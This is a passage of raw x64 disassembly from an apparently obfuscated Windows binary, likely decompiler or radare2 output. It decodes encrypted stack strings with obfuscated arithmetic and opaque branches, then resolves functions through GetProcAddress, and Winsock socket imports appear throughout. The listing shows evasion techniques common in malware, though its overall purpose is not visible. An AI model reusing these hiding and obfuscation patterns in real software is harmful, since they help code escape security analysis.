and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
dec r11
inc r11
jmp 0x14006e693
movzx r9d, r11b
lea ecx, [r9 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
sub r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x73
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x140], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006e693
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x5d
movzx r9d, r11b
sub r9b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x69
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x140], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + r11 + 0x140], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x71
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
sub r9b, 0x21
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x19
jmp 0x14006e690
sub r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xf
jmp 0x14006e680
lea rdx, [rbp + 0x143fe04]
jmp 0x14006f23d
lea rdx, [rbp + 0x12cf217]
jmp 0x14006f23d
lea rdx, [rbp + 0x140]
mov r14, qword [rbp + 0x428]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x390], recv
mov byte [rbp + 0x391], 0xfe
mov byte [rbp + 0x392], 0xec
mov byte [rbp + 0x393], 0xa
mov byte [rbp + 0x394], 0xf9
mov byte [rbp + 0x395], 0xeb
mov byte [rbp + 0x396], 0xf0
mov byte [rbp + 0x397], 0xee
mov byte [rbp + 0x398], 0xe7
mov byte [rbp + 0x399], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x39a], 0xf3
mov byte [rbp + 0x39b], 0xe6
mov byte [rbp + 0x39c], 0xea
mov byte [rbp + 0x39d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x39e], 7
mov byte [rbp + 0x39f], 0x1c
mov byte [rbp + 0x3a0], 0xe5
mov byte [rbp + 0x3a1], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3a2], select
mov byte [rbp + 0x3a3], 8
mov byte [rbp + 0x3a4], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3a5], 6
mov byte [rbp + 0x3a6], reloc.WS2_32.dll_recv
mov byte [rbp + 0x3a7], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3a8], 0xae
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a9], xmm0
movabs rsi, 0xe196e57eca5cc7f3
movabs r12, 0x2b204677888977a5
movabs r15, 0xa4c4b07c5f1657d9
movzx edi, byte [rbp + 0x410]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x29
jae 0x14006fedd
movzx r9d, byte [rbp + r11 + 0x390]
mov edx, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14006fed1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006f38c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x5b
jmp 0x14006f3d3
je 0x14006fe62
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006fdd8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006fda5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006fd83
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006fd5e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006fd13
movzx r10d, r11b
cmp r8, r11
ja 0x14006fec5
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14006f401
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
jmp 0x14006f440
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006fcfa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006fcd7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006fcba
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006fc9a
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006f9b3
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006f997
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006f971
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006f94e
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006f935
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f918
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006f8fb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006f8dc
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006f8bc
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006f88d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006f450
lea rbx, [r8 + 2]
lea r8, [rbx + 0x200]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006fea8
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006fe8b
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006f639
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006f61e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006f603
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006f83c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006f7f2
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x14006f7b1
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006f789
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006f450
mov rbx, rcx
lea r8, [rcx + 0x42]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006f757
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14006f737
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14006f718
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14006f6f8
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14006f6db
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14006f6c0
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14006f69a
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14006f671
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14006f656
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006f450
lea rbx, [r8 + 0x28]
lea r8, [rbx + 2]
jmp 0x14006f450
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
jmp 0x14006f440
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x14006f3d7
add r10b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 3
jmp 0x14006f360
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14006fd31
sub r10b, 0x6e
movzx eax, r10b
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14006f343
sub r10b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006f343
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14006fc5b
sub r10b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
jmp 0x14006fdbc
sub r10b, 6
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006fdbf
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14006fdee
add r10b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, r10b
jmp 0x14006fe1b
add r10b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
sub r10b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x41
mov byte [rbp + r11 + 0x390], dil
inc r11
jmp 0x14006f343
lea edx, [r10 - 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x75
add dil, dl
cmp r8, 9
jb 0x14006f7a1
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x7c]
jmp 0x14006fd31
lea edx, [r10 - 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2b
add dil, dl
cmp rbx, 0x20
jae 0x14006fc3e
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006fb3c
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006f7c8
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1f
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14006fc84
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x14006fa87
lea edx, [r10 - 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x51
jmp 0x14006f809
sub r10b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
sub r10b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006fe1b
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14006fdee
sub r10b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14006fdbf
add r10b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x14006fdbc
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006fc55
add r10b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
dec r11
inc r11
jmp 0x14006f343
add r10b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14006f343
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006fd2e
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14006f9d8
lea edx, [r10 - 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5b
jmp 0x14006f853
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006fa10
sub r10b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006fa38
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14006fdee
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006fa5e
add r10b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14006fdbc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f856
lea edx, [r10 + 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x62
jmp 0x14006fd2e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006faac
lea edx, [r10 - 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x65
jmp 0x14006fd2e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fad8
sub r10b, 0x67
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2f
dec r11
inc r11
jmp 0x14006f343
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006fb00
lea edx, [r10 + 0x31]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x57
add dil, dl
jmp 0x14006fdee
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006f80c
sub r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x15
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
jne 0x14006fb6d
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006fb95
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14006fdee
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006fbb7
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006fc55
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006fbe6
add r10b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006f343
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fc15
add r10b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
inc r8
dec r11
inc r11
jmp 0x14006f343
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006f7cb
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
jmp 0x14006fd2e
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, r9b
add dil, dl
sub r10b, 0x55
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x53
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x390], cl
jmp 0x14006fdbc
lea ecx, [r10 - 0x62]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x52]
jmp 0x14006fdee
add r10b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x27
add dil, r10b
jmp 0x14006fe1b
add r10b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x45
jmp 0x14006fdbf
sub r10b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x67
dec r11
inc r11
jmp 0x14006f343
lea edx, [r10 - 0x2b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x2d
jmp 0x14006fd2e
movzx r10d, r11b
lea edx, [r10 + 9]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3f
add dil, dl
sub r10b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x63
add r9b, r10b
mov byte [rbp + r11 + 0x390], r9b
inc r8
dec r11
inc r11
jmp 0x14006f343
lea ecx, [r11 + 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xb
inc r8
dec r11
inc r11
jmp 0x14006f343
lea ecx, [r11 + 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x55
dec r11
inc r11
jmp 0x14006f343
lea ecx, [r11 + 0x71]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x17
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006f343
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x7d
movzx r10d, r11b
sub r10b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 9
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x390], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x390], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x11
movzx eax, byte [rbp + r11 + 0x390]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f343
add r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
jmp 0x14006f340
add r10b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6f
jmp 0x14006f330
lea rdx, [rbp + 0x1565ad4]
jmp 0x14006fee4
lea rdx, [rbp + 0xb322c7]
jmp 0x14006fee4
lea rdx, [rbp + 0x390]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x30], rax
mov byte [rbp + 0x160], 0xed
mov byte [rbp + 0x161], 0xee
mov byte [rbp + 0x162], 0xd7
mov byte [rbp + 0x163], 0xe8
mov byte [rbp + 0x164], 0xe9
mov byte [rbp + 0x165], 0xf2
mov byte [rbp + 0x166], 0xeb
mov byte [rbp + 0x167], 0xd9
mov byte [rbp + 0x168], 0xed
mov byte [rbp + 0x169], 0xe7
mov byte [rbp + 0x16a], 0xde
mov byte [rbp + 0x16b], 0x53
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16c], xmm0
mov byte [rbp + 0x17c], al
movabs rsi, 0x45a5ac7de81ba09c
movabs r12, 0x6c8c8ed4a2b3e034
movabs r15, 0x1ebeca272d836104
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x1400709f2
movzx r10d, byte [rbp + r11 + 0x160]
mov r9d, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400709e6
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006ffe0
lea rcx, [r11 + r12]
mov eax, r10d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x6c
jmp 0x14007001a
je 0x140070972
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070911
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400708db
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007089a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140070853
movzx r9d, r11b
nop
cmp r8, r11
ja 0x1400709da
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x140070052
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070090
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140070834
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070811
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400707f4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400707d4
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400704a6
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007048b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140070465
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140070448
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070428
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007040d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400703f0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400703c1
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400709bd
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400709a0
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400701fb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400701dc
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007036e
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140070322
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400702e4
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400702b5
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140070295
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140070275
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140070258
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007023d
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007021a
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400700a0
lea rbx, [r8 + 4]
lea r8, [rbx + 9]
jmp 0x1400700a0
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070090
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070020
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
dec r11
inc r11
jmp 0x14006ff93
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400708b4
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400708f5
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400708f8
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007092b
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
cmp r8, 9
jb 0x14007075d
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x10]
jmp 0x14007086d
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
cmp rbx, 0x3e8
jae 0x14007076d
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x1400706a0
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400702fa
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14007078b
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400705b7
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070338
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14007092b
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x1400707a2
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400708f8
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400708f2
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x14006ff93
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007086d
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x1400704ce
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140070384
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070509
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ff93
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070531
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x1400707a2
cmp rbx, rcx
jne 0x140070559
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400708b4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007058f
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006ff93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140070384
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14007086d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400705e3
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007086d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007060b
